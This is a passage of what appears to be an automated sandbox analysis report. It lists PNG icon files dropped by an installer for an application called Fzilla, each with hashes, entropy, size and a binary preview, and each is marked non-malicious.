SHA-512:	0C08166732828BEE24D966B1E51D6BF867990EC3E00425D6107CAA7C540CF8121F7D411C7EF65006204FFDDB1208B519C1E39B28F6C0D9F8865D8606A3BBE80E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....p.f....l.N]..23'eH....;^a........eL.....eK..:......g.,..=1...M.5..s..c....f.._.y..{.8....,..../....W......-...9...^........X.l......eY....`.....x...%Ji+4M..^.M.....3O..8..%'.M9_..@.SL .........".(..`D..+.....4-.-..}.?.r...pK..@.A...M.....4M..P...A.[...[...+......9..XQE.."...o.....X..P.#V.../.\......Q.....[....Zz5M..@@p.P.#7....~.W_....o..z<..X..a?........... .U.jm..jK..L....i.4(@UU.k&...h.\| .8..Q..^.......H...%.7@rr....5u.....b.z.q..ARZ.....).)V....r*..._w..a.i...3..[5.....^..X...K...................B.y.x..7.g.N:..9.....a&..4.5.....L.J.li...NW.V..O...#.....\|.V.....?V.....^4M..w\..g)g\8..i..;.k.^^.4!....k....2.....w.\|.?....!&....g.BV.....bb ......x.(vo.4s.}..L...i!.... ....Q,......{6L>.f...i.uN.6m...({4 .H..LN..t..XFg....a...1.i,....pL.[...]..'..D...B.Dz(..........3..x.K.N.F......-i<...\|.....(.. ..h1k...P....Q.....`..'@...L.tT^Q.}7.>..uh......yVi(...<n..."@uT.X@...<..x....D...a8.h

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	7.793985864599588
Encrypted:	false
SSDEEP:	24:O6Bqcm5GFn5rcwYsyetE0uvitCx5H+KSLNRgNqvhlpg:O6ccs+SwY9etE0uKU/lMRg4vXpg
MD5:	58A5F17A0A87DF5427CC17759A812CE6
SHA1:	6E35990BA607330F33802EDABFABE9508AD79289
SHA-256:	D9E39066B0D28A8E8041E61BFF8A5622FA02FAA544F97BDE894776867C1ED889
SHA-512:	DD637DF84EA74893331D500B61143DCEFD8B3AA999D17A8D579EEC8953C099C4EC3855478DF266CE2B44939964DCD72305B8B3D17BEE5B3768FCEBFF705B091D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx............m.vJ.UV.6Kk.........k.7g.;....U....}(4.o.{(..Sz&...A,.G..F...Y%.....X[.Y..;M..$.h.e......J...;!...dd...c=.4..5."e.y/A..yp\|..B...._wV...0....".vT.a.p.........).2...A>..\|..../..Uw....d...%.....7...Z5..`......NBe......#@.....U@i..Ud.!.....p.G.s.3........4...3.G......f...^{.e.2 .T..Q1.0...~...."$r....}....i....)(..!....(.....t.#........:M>.E..x`...H.&EI..`..&%].E...7..1..N....V^\|z{.V.X....PL.;w.....8.SO...F.}_}..2$(.BQI....e.B.UZ".............W...'.]W..j .......x-G....G..&F.K.qE.D.T@.JUY.u../..(...x.q........v...4@.7...x#b.......w....L.,@.uTD..^...3.Jp.....l..3.1+a..k....,.A...C.JA.<u...n.F.m.....o~....u..,..;OZ;aj.Zk.....E.r......v...t3.....?^..b...4........w{2F....v...\|........~....5........=........us...K... p......:.f.[2... Ox2...r0. ...j.....d.y:..j.\|Q...../....I....>y].U.....~JYI.v..Gy#"..^.F.+n.]....".)...8..J...s{....1.f.4....x......>&..U..qot^O..:n\|G.I.-.>t.ob.1

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1477
Entropy (8bit):	7.8580915195042795
Encrypted:	false
SSDEEP:	24:kADMdPXbO9FEnG7sl6W+BLKkY6I4rfMyclSwb7eAdaTa8eDHYaK1QVi5CQH9t3tf:hIF8sl6WQLS7eaf8eDnmQg06Bf
MD5:	A293E0AFC56E9ABC738ADBF446BF83B8
SHA1:	44CCF6E6E0685E9BBB2B31BE20598B09F887CA60
SHA-256:	50D381430A7891765601E2A89223650BA237FC733990E767F28EAD4F26B435FB
SHA-512:	B7C4391AFAC292656FAFEB04E29B09E94E2BE273D587F2494299868E2115F1566EC2A0D64F744D61F0B9D6BF8DE3B22A6CF09645A7540EF5DC23FD83CA353DCB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....$Y...{_DdfY..j..m.h..m.{.....jc.......;V.5.9a}.._^n..p....R..)(.uU......d.jwt....>....w,0v...0.K9).f.0(.s3.....RQ...I.l.Ol.......R.KT..f.o.a......z.....y.d!N.3....o..:u......[.W.Pf....3..3o...#0a.v@....Rs.@......0..i.}.......f.$...3..T......t.n....L....L03.pb...."..1yQj.b........m..^....X.}.......0..\|R.- .B.KZ@.?Xq./-.f.s..q..so<.....ut.a...~[....y..;Xq....2%r.........m[....--%.OU4..@.URQ...yW.k.....p.~.'.-8....5i.rQ).H....K.:...........7..v`.7V.....P. ...Ph...w.X.....c..=.>5?....k%..v/].6.$.&.b..R......0. P......]....JZ.5..0...w.c. ..^........Bun...F.Wl....JL\..]Js..0.O#.M........~.x.,.l..g....P...".\|nXf...F....<.&..j...^-.......5.Pn.9.,.~]kgI..c...~KXX.4)a).........9.J5..<..i.?ye..<o.Es...+.M....o.<......~D.]~.+.F%H.&V...e.2c.tz..R.S.B..f.>.xu..DL...#.?.<L.....5...>.v.....9.._.[..W..l..^\|..'Z.b...D...70..~.H/.i.:...O..L. .Z'j...T$..G.yD..O.Pc...M.........DK..AB...l.&.W...LNN........<.B!(.z.i....S..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.143288160864272
Encrypted:	false
SSDEEP:	6:6v/lhPN+ggF1XfNZdS90ET9v52cpb76SKRKFdFwg720bC+9Pk8m4rR/RdIkkp:6v/7tgF1X1Z89rT9v8tY9j3Pk8f1zo
MD5:	536F485B8EDE79CE0B026B48BDE42B14
SHA1:	C18B8311B72A633343D75CDBB43ACB52E3AF28C2
SHA-256:	ECA4902B97BC5F63E7D87B4D4D9DD05423107B11B6B8033161515DDBF8A5F9F9
SHA-512:	6B79F4590494D389D84717211911E48F5077BAEDD3E2C5F4BBA8C8D23768F0C57249809A8C139EECA7BA50736F2F72EF96566BB98D5CFEC7C822140A44901BAA
Malicious:	false
Preview:	.PNG........IHDR... ... ......s.....'IDATx...i.Q.../....M.v.h]..............\.srE.F.....yr.F....n...%...M.u.J.o......e$uR..viM.u.Q.kK..GhHj.k.^=..p.h.P&.c.;&.......6P4k..Q..E,...J.s..#.. 9o.p.....%\Bcu.=..dg`. .(.....Fr...,.-}......6. P..Ms.O[(x...!.M..3.].A&w.-.}......_#..+.r../.w."...J.......C...z1..gZ.O....{.M[.....m...@.}.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.767142044387276
Encrypted:	false
SSDEEP:	24:I0WGE+j3+Gmxrl4sPInu69W2Ebs/t02Hol4ATfMy6EfI1zRO+tVBCz:IeF3gx3PIuGn0Z42f96CI19Wz
MD5:	57AC2651B46E439F4D3A086A37D19246
SHA1:	23E0CED3AA19C28D0DBEBF58FD969BB5C36C855F
SHA-256:	E1FF7908B15FA5B4834614BD58A5FF9FF7D9A8C510D454241091126C7FA2A08B
SHA-512:	740DCCD150FA7E6F06123B602D7283A42D64489745DAA3D90786A1CA9A633F6035752436172594F344D67337EA05CDD14F6B59D49CBE131460FFFE872DBA1501
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....hIDATx.b.. <.............V......]k..qm.S7....)..v.6.qo..vT...>{f..6;.NN......O...%...h.L..K w]...y..{....w....z..(H.D,........K/.....E.C........r......r.{......3.8.s..%B.E)....Z.xd..cs...r..f.=~..?.........i....X.A-i.JMC.".LC..]d.....H%......h.;..c.0.....eq..A....k9,....:p. .`.a.Z....m}/B.Du....g....K.!.....J.."".w.I.48r./.......DQK.5....R.w.2..~.;.\r..PJ..........U..Ek.~.Cw?..&..'N?.T.. .."......3s..g!..... ...N....`:..L.a.j.f.........L.k.]....8<9 ....v..wX..[..f,4.##...DS.v..Nr.+._.......erF...m..5..H ....-5U.......v.3....2B.Sg......V..".&S...L..G-...-s...[."B(....N...3...t.l....U...<I..~.......n..v....fh..Qp.5.h...C........7.d#>{.."....{......d..X.......0............d.?n8..B,Q..a.........4........Yx.y %....!1_...%......W..h....n8..w3.`.(..&.......rxVD....\|.....5...F+_?.z.G.r.y...5...r.F}.`^ihA-L......).g(v.Af.....7.i......L.5~...d..!...@`{.5WX...2...u/....+/...Yg ..t..w..l@i....z.6...6j#'.r.[o.ku..].!.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2038
Entropy (8bit):	7.859130744595429
Encrypted:	false
SSDEEP:	48:OCl972SbFx0venBPv+sAPSHBF8yjAmAzHYwQ1OPyJ+4qUbZUi:OCbaSwvmPzAPSHX/AmAzHYF1OP74zyi
MD5:	B9ED9A54C830833812738325C60CC503
SHA1:	287A0BCD509B3ACFCA46FDE2215935D717B7B189
SHA-256:	B9ACDF5CA62EAF29A5C1789AD9EAB9AFFEDB7E7815F37C1EADEB8475466FA30B
SHA-512:	B3FA07ED8FC0ABE5A92C78163B521E040EEB507CADED309F726AB94F692BC536378CD6FC6A12F2000CC137F092B8D728CE3AFC1BF1035631CBCEEBC1B506F6FF
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..,..}.6.5...\|.>...m..w.:.m[_..m...........]Fd..2..KT5....]....8...$.^..sss.....6(.~.........P....E......Z.4}.ry....6.B,....>.....N.........r.-k.u........]..........?>.....>...h4:411.\|......Hg?...32...s.....R.....8.%.......Z..6..O.:."[.m.>..$../.p.b..$...........`.0;...-i.Frxx.....].eYu.D.......:".....0>>~.e;...=....w..:}:..]]]...r...-...b~~^.....2..qPUU...z.T S..<.........f../.y..?....R(.....l6.R...D.nP....\.u?...l.........-....'..d2_c..3[[...@...m..y..{.a.E.3.A.}.r9=...H=q..G.......'Jw....I......P..\.v.@.R1.....(3......H....J...c...~...w....8^/.....np7{]..J..g.A......@..\{...2....u....... .9R.)..]...=.)<.... ...L..6.^@..(..}(..RKg.@mmm4.........X...........\|.`...B..\UI.J.Q./...4........51.N.^5..C].E..'O...P...Rm.i.........bO......n..\e..=.3&U..J..8...!..4.Zu..n........:N.7...c..=+.$.E6..bX.......^.......@...Q)..2.... ..$.k...0.[T.....^........e....G..a.(...F;@...$j.....RE.:......rR..@.......F .%..}h?..k.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1351
Entropy (8bit):	7.8153398147351005
Encrypted:	false
SSDEEP:	24:4zBRgz7KwrW3x1O2stzUEkC1oR9oW49VbTYsNymx0qBSZHn4NZb58rc:uB47Kw6x5QfkCu9oWiks1ZSZOf3
MD5:	B546C451FEE088F1FF783AF7A7F44B69
SHA1:	D277087D1764C51FEAD4611BA62C66CEE9C4C7E4
SHA-256:	AEC279CB68383C2C1BD05C64B80EF45F569E3CD0D4A9E7E412EAA5EEF52BB0ED
SHA-512:	D02C9990AE68D0FC8597E943DCE17A08474EB29B7965213D8856E27762FD930B7C1FE477E562B89BEC3DCA343548B0401EAE3E7A84065AECECA4E7B243C70B26
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$]....UW.{..g.k..`.h.n......m.;...n..w;y.2=.......sO..p.........l....f/..rNV...V..&zM....n\........b.k.\3+......4q..5.....:.M.Z...H{....4......t../..I....._o.y..S...~.~.V...m..k.......I...xv.=.V....Y...s.G.t...w..z-....x..Li..VvS....^..X.....X9.9Q3....6......N;.9G........+....._63J......WP5@......U=..fL...d.{.A. bs.D.....0...t. ..NL...F..0....B.0.L.....0.jd..-.....9..V`J.......H\Ii.. ..!.A/@...k.r1lIL.Z\Y.....B.(D/...T...B............8......e,....,.....]$.K.r....-..NN....A.k.s..A.q~.+.".............1.".0.3e<....g..j%...TJ.,r..........W..;.....r.py...HD....G...X..$.H....x...y..T\i.$6.7..qOP...6\|.G...u..>.>.=.U....]...U.G1Vv.......7..=..........[.{...y...j...F..x..+Y..A#.n..P..8x.3..Tc...........a...ot.{...B.........`...F....`.:#.=.c..c_.....4:B.."I.h...h7..`(F..N.f.........C..`vz.:@s18^q....L.....*........[zI@.....H..M.1[....b/..tb0.T!.o.R........5U.5..S.e.D....^Q......l.(..g.pt....48.i....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1599
Entropy (8bit):	7.839553374241611
Encrypted:	false
SSDEEP:	48:obwjq4pjnXwSceRSGTkhp4LFBsQVZWkZEcX:obwXVnXB0GTyrQ/WoEcX
MD5:	D0CE7905DDA7C98318182FCB5DB5744F
SHA1:	BD0B44B0724E60E3F205793C8E33065E4CF9276F
SHA-256:	7205D7DA612A07772E75219D0851AA8D54B137CC4E25F74EC8A84881123025C8
SHA-512:	734FED92EC1F4FDC3B2849DBAB95211E524EAEADA032CC0DD784C1DB60CA7483FE4DFFE36ABBBFF2C9A72F2C9CD81EB2ABAD54464F1FB22FF768CE5DB731AB21
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$A...?..gj.1;k{.m...3Cg..p.mkm.cuWU.....i.w/............U.Z.5.Z....V..T.l...r'..ek...V{.n4....._.M2'.`.xA#_.%....q....Y.f_-.H.k....)..^s\|.G..\....dG6.....4.XK..f^[.g.Y.%y.z.4.'BD..1...M{......,..+"..\..cg...Vk^......p5.+..HIa.9........!@W.N.O.0....`D.s!...v.0P......Q.("..N.e...>.....=T.....3..>...k....q%.UF...M..>..:...(<..t.Q...]:.f\...(........D@..x..Q.V.z5..P.D.Q..o8..EPzE$.....0.hE..!:.....H.8.....A1.+..]F....<8g.F..Z.L0..Kg....W...T^.P.!X...+f...L.s1..)."@...s.E..0..q.Us...S#."..`.0:U...a.]0..A"..\|....E...@$f.....#..[...A...B..D....u..q..jJ...Hnq.B....qD..8..g..0.k.....%......9"-.B.,....f.U.](1.........S...l..wI^......7-..a......c.P...s.Q...==.v....T>..k.0..td..'....x..j..`.....2..-.'.p...}.F...2.cpy.. .......wk../f.&.y.....7k.%..Q.@P#qB_-a..8.L.#..........+ .C..I!..yO.J._=....#....js.)uB^KhW.xZ.#I..s.....}......j..q..DsL..N.Q.y.7.3.T.Z.....a.q..Y.03..C.......x!n.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.745370324355059
Encrypted:	false
SSDEEP:	24:w+w8l66j0tM48Qp5PzakhE3pVKi3sUCuhD1jn5czZVTKRODeiyCIQ:w+w8l8DJpdzaoE3pVnOuhV5YZVT9XEQ
MD5:	7A4B9E47257D33B0BD8D44D686846584
SHA1:	3DC0EB8C748D6EA80D66A731D861C7B4E1ED40B9
SHA-256:	265E50D2789EC687C8E0E4C829214EDF5C974FBB1E7E20AC7553BD7B2C64CD06
SHA-512:	C76D3C29AFE9589749578B22CE2A5161A5C7AFFAD98653EF8E902FFBBD4A57D7EF779F80138C3A4752B8D554BDEEE618B562D172A6FB75B10A6B3F4158949BC2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....l.......3.z...j[Q..nX..X..m.m]..9.ku.....9S._.;...-_.I..}y.........]................6..n........(....?>?.....Vz[g.c....>n.{..kn./}..m....?~y.....&../..VY...M`..y..z4...5;{..P...\..z........:.q...:....6/.5.H....s.@...32...2KW.........ad...a.....' E'..u>.........].U&....@.H8`.k.3.Gp.%D...(...`.].......i/.H..P.(P....M/0.@.......n..j...0...sP.+....]2..B/...`._./.._~..P. .(4......;8.3...C....(+3.t........\..D..b[%.A...Z.....L.g.JI.y.T...p.R...Q.........)...}8.......U...L.>=...p...a}...g0L...]......f._..4...>..n.r.9...]..dv.+..0A...*LP..F...%g.m.f. &.0...%e...F.P..1W..7#+..9..S!. .1.R....1.bvo.....H.s.....b......=.,.X!.B..W.<..6.F..".^...d...D.wG...8.. .i.l.a..23...)........^.w...u._.5,.u.D."...nP....A...uJvR...og....m_...:u.... r.c?]........0......l.e.........u.....t.JP..d...4E.@....P.....G..Q.0\_.O..\|..!%..@.T.w(..d.@...;P..(.........;.`.H.Q....c.. .P..8m0t..-Hy~.R....z.........Q........@v0

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1903
Entropy (8bit):	7.884545231227901
Encrypted:	false
SSDEEP:	48:OEHUN5yBayHKnZTHYnApm7kCZBegSDwUTa+k6IOv:OEHUN5CpgTHyu6kCvegSDh2HU
MD5:	BD2C6CCE2735160A224CD5AECFB30456
SHA1:	132512B864390CE2DD808969EF4738D1B77CF312
SHA-256:	3897DCE652A4B4ADEA00304567A5C4D6BF5C37F7B1651A71C2CE7D246C6D512B
SHA-512:	A815F252F814817622AE64D8129491CDFCEF8CC93F439CB50293BEDAFC577D9528FA6EAF2421E77E6016A5D74CFFAFE7CC93D11D56C9DECD7465B1A57A58BC6B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....6IDATx.....,M....jM....m..k...o...l.[.]U..n.......'.....s.Y..U+3..'.............=...R..".E.B....,.......l....>.N....a.t].....~.-....>....~..a...^...3..M..%....nZ\)....~a)........Jd.\|6..i..D.e.-.....3..3.........7$.M...5+.}.'=./.......7.T,,..9cr.i9..f3..~L...N..c..Q......z...3..W..s.;....f...&..c.....X..Yl~.'.Q.sb.X.xW.."...D..{p.g.}....+......i..>%.nS3P..X..;...o..k_$m4P.QEO h/...#1.b.k-.@..G'3.X.h..<...{.....[..RR..P5P....1...q......N...M=..N.O.V..CJ".....lZ..........._..=ds..O.{......QGr.....T+T...L>.!x;N.wRZ..+$N...h......)d.l.XZ.t._....p`l4.u..).....@Ua.p..s4..1...RZ...c.........^.HC.......x.&`U...W>...q#CQ...\B.R2...&g.....N..p......O.9<d.g..k6.........wS.)Xz4.EzT..)x..X..?.......UXm..\|.3. ....c.k...l...cg]t..D.VcX.h...l.a...k%.6.J.s..3.{..e..%...8.?Y.f.p.@.:.}.5..a.UjdJ5.m.TX..>....N._...".C..QH}.. .{..2]...E. `.....o0.,.\Es.`,..(h.+...fj....o1.^.Q"....f.*:.F<...:tZ.5}....L\.^Q@D..K.....D..n..#

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2486
Entropy (8bit):	7.887788614689803
Encrypted:	false
SSDEEP:	48:PVgF4kVF5PZaCpANoLtln8CgbUQc5dOAzrd4TDART5wX6YRidF5nn:PVgJVF5Pn2NhCB26qCFl
MD5:	B911DB3473A8B5ACDB6BB97E74F5BCF8
SHA1:	44E139DA71FD400F232E734467A1A4DDEFF8FADB
SHA-256:	E55AF9AC9B510F8EB55213C69CB180AF99400D61E469CD4395AD7FF6AEF52AD8
SHA-512:	5483E2D88F9C89EEE25E73DB4D4EB9672275DF149472D71089B229CAF5663EB3D94C12F75D9C91E70C3305A7B888C515964D6F0ED9A6320AE6B95E91F11008D4
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....}IDATx....t#k......2q.n...[]...m.m...F.l.6.4h.......k......y.O.N\.9e..3.....i'....L..NH.g=1u.....:..3......>..3/....^=...M?......?..O8+;.2.p.T.l.;.`.....l.d..ti.?c.4k.B...~?....x...:..,q._^.R.n%..w.:qH.K.y........u}.[L..:..y.U~..ca/c..tMc...PXf.-.........<qbBV...E...f..p......-....E..:..~....1.[..^...`r../.@..._\_...........+....:2..Y....V..! ..4.q<.........,....Q.B.P....F...M...~^:7..Z...]...a.^.:.6&.yW...+.xA:;._...A...........=.../.`.$X..8E...K@.w......C............~..g$..7...,.A....h..DtF..4.u....C{].^\.G.[~........R.....0M.<>.w'.H....?.`X.......^..y...sG.,..........=. ...q..fB[.G.;.[........Z...........k.7.<..#b..V....#...F" L.d3.2.S..w.^..{.......w...L.P.p..o...@".q.>f.K&hs.....}...n..7j...y6&..P4....j...Ol\|.g..Q....b........H...S..<w.Q..c.N.m.W.t..-..2].....l.c..MKs....i.....r..WN..?..r..w...!.H..,>.a.`.Yj...Y.L.....G0.l..E...<..(_..9e.3.......T@.AH.....<..S.w...V.....D..T.k?.......1

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-1FGMD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	7.802705458504437
Encrypted:	false
SSDEEP:	24:G72l+4HwnHzWlg68PVXRnzYQrMbuvRaUIy1n/K4YCkEFzok19tsa8LgDeRV4:9TKzWKdPVXJ0+q6dIGy4YJENz9saTDeI
MD5:	8F5822A03E7A8A0590DE413D73FF92E8
SHA1:	0FDA32FA3A4E6B0993D21CD8CB2E7636CA14D0B1
SHA-256:	51300DC8F3578FE512B4D42A0109465D255057CAECF40E0090366D6B5D06717D
SHA-512:	0CB877F39E5050B0924331D60CEBF1C532F9F4B592C01CC895A5BF14A55F01D3AAD94D4C8EA80634EACC12669224C3DD7306A8B07D01147CF1DDF85E241ED068
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz...."IDATx.b..Q.mia.>...T`` ]0.... .A.ppss.............-1..... ;Av......q............L4...Ab.4u..;.5M....y..g.KYqH.......@.gG._.1......!..yq.s.{..^.............ZF".G<...H$x......%-..j.....f...d....3pt.P(.l6K.^...j.....b.g..r...m4....e....Z..f.z.J%........0i.....R)t:..F#<??c<......@...F.?..A....t)O..b.........F....l.`0...........&?.....@>.....z......q...}..s...{bmm.....&.ww...[.4...^..K@.l6.nYc._..)..)...0..`4.{%.N.......W.Ce.....Q.Vq}}....0..HD......+Y.G.Qi....@:...V....GpNp.R-......].Kz.....4@.........j..f.....\|JlR.N..R.P....,......P.vf.......OOO.v..........R.s.P....D8..PR.....3..\|B...B...\|Z.T.\|~.N.t.3r.,2.."...Kz6..O.g)...^..=..$.$......B>.x.>q.......v..z.j.{{.j4..X./v;9F.4 ..7.$]....)..-0.\...:..8....9;..W...`=....'.m.nj...j.9.m....g....1...>W.z.....G/<../..x...8aI..u.......{.o......`......).U,}......a..fq......a.f...^..7q.l...j-.;Q..e"}E..w.S.}.....W....P.' ".....6..q~q..Be......u..l.Mf....c._.....2.....N....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-3U08P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	7.782537954577885
Encrypted:	false
SSDEEP:	24:+0B1TQN86MILZ9/Co9TRzY5HRiiTlDQ2GeZ/JRhtdh5LuIjVxHsk6N:+0fTx6MILZ9qo9TRz00itQt4RhtxL1Hm
MD5:	1571FBC96BE01FACD9350B9DD206ABA8
SHA1:	325F1F144113B0BE7EE690B0C888205920901217
SHA-256:	43EDD30F00A02084EA4E65A270A181119550692F9E861B2A077FE1AB4C76B50D
SHA-512:	F0C0FCDCE3BB79D8FB1F3B08DB1675CE065B142CFBEE88E30427EB4F379BB48B65A9B4227D99538993D398356CEA62440C480175119E7BA2074FA72DAA53ABD9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..1..].@kY,I..A.+......N....w.....Y..3.2.L.TVT(b....r.6...R.f:..\|TU..D.A..s.<...=...<. Nd4.............r8.."U...)..."1q..Pk+Q#.N....>...3...I..!.N.D.........C159.8.m.I.Q....wJ@q>.$F....DD#..1.<..M..B.h"......C..#..W...i&'z........i.....".G.@...6. ..W....3.k.<.w.}lyb"...)...w.x..`nn..~..)M..;....".A.#o6N.._.g..n,..s9...y.8...6W.....7.....v...UT..._>=..q....%....lo.g....Z9d.dt.]....{+....Pt............z..b...x...:....&.q...&..].<.v.......t(G..).....T..%.#Qs..........P....G\..0....v..trQ]8......n=[@.`wO.B9...?W..6{..X......&...).V........m......>.....U+D...{.+.g..y.N.c...h.h..{..>[..iv.....[+&.@D.~.../~f.w............>.........6...........3...0...}....] .+.f}}a.4`....(.....I..q^.(...3.c"bA].y6.i..4&..t......T.0F.3...l}... ......`B(.+%#.6Y........A..1s.M4."b.....^..j...'......?N.._1..14n!e %..P4.......}q.b..M..C9,9>>fcc..H......#:.^..z....M=...Q..tNNN..c;.u.r}.....v..P.h-.J.,7..YD....Z-V.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-4GKR6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	7.793985864599588
Encrypted:	false
SSDEEP:	24:O6Bqcm5GFn5rcwYsyetE0uvitCx5H+KSLNRgNqvhlpg:O6ccs+SwY9etE0uKU/lMRg4vXpg
MD5:	58A5F17A0A87DF5427CC17759A812CE6
SHA1:	6E35990BA607330F33802EDABFABE9508AD79289
SHA-256:	D9E39066B0D28A8E8041E61BFF8A5622FA02FAA544F97BDE894776867C1ED889
SHA-512:	DD637DF84EA74893331D500B61143DCEFD8B3AA999D17A8D579EEC8953C099C4EC3855478DF266CE2B44939964DCD72305B8B3D17BEE5B3768FCEBFF705B091D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx............m.vJ.UV.6Kk.........k.7g.;....U....}(4.o.{(..Sz&...A,.G..F...Y%.....X[.Y..;M..$.h.e......J...;!...dd...c=.4..5."e.y/A..yp\|..B...._wV...0....".vT.a.p.........).2...A>..\|..../..Uw....d...%.....7...Z5..`......NBe......#@.....U@i..Ud.!.....p.G.s.3........4...3.G......f...^{.e.2 .T..Q1.0...~...."$r....}....i....)(..!....(.....t.#........:M>.E..x`...H.&EI..`..&%].E...7..1..N....V^\|z{.V.X....PL.;w.....8.SO...F.}_}..2$(.BQI....e.B.UZ".............W...'.]W..j .......x-G....G..&F.K.qE.D.T@.JUY.u../..(...x.q........v...4@.7...x#b.......w....L.,@.uTD..^...3.Jp.....l..3.1+a..k....,.A...C.JA.<u...n.F.m.....o~....u..,..;OZ;aj.Zk.....E.r......v...t3.....?^..b...4........w{2F....v...\|........~....5........=........us...K... p......:.f.[2... Ox2...r0. ...j.....d.y:..j.\|Q...../....I....>y].U.....~JYI.v..Gy#"..^.F.+n.]....".)...8..J...s{....1.f.4....x......>&..U..qot^O..:n\|G.I.-.>t.ob.1

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-70D54.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2486
Entropy (8bit):	7.887788614689803
Encrypted:	false
SSDEEP:	48:PVgF4kVF5PZaCpANoLtln8CgbUQc5dOAzrd4TDART5wX6YRidF5nn:PVgJVF5Pn2NhCB26qCFl
MD5:	B911DB3473A8B5ACDB6BB97E74F5BCF8
SHA1:	44E139DA71FD400F232E734467A1A4DDEFF8FADB
SHA-256:	E55AF9AC9B510F8EB55213C69CB180AF99400D61E469CD4395AD7FF6AEF52AD8
SHA-512:	5483E2D88F9C89EEE25E73DB4D4EB9672275DF149472D71089B229CAF5663EB3D94C12F75D9C91E70C3305A7B888C515964D6F0ED9A6320AE6B95E91F11008D4
Malicious:	false
